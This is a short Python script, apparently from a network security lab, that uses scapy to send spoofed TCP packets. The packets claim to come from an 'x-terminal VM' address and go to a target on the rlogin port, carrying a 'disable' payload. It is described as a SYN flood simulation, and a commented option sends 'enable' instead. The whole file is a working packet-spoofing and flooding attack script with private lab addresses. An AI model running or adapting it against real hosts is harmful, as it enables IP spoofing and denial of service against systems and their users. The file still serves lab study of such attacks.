from scapy.all import *
import sys


def synFloodSim(src,tgt,payload,pktno):
	for sport in range(0,pktno):
		iplayer = IP(src=src,dst=tgt)
		tcplayer = TCP(sport=15151, dport=513)
		pkt = iplayer / tcplayer / payload
		send(pkt)

# Spoofed ip of x-terminal VM
src = "172.16.1.100"
# Ip of target of SYN flood
tgt = "10.10.0.1"
payload = "disable"
pktno = 10
print "[+] Sending ",
print "'" + payload + "'",
print " from ",
print src,
print " (spoofed) to ",
print tgt
#Uncomment to unblock 10.10.0.1
#payload = "enable"
#pktno = 1
synFloodSim(src,tgt,payload,pktno)


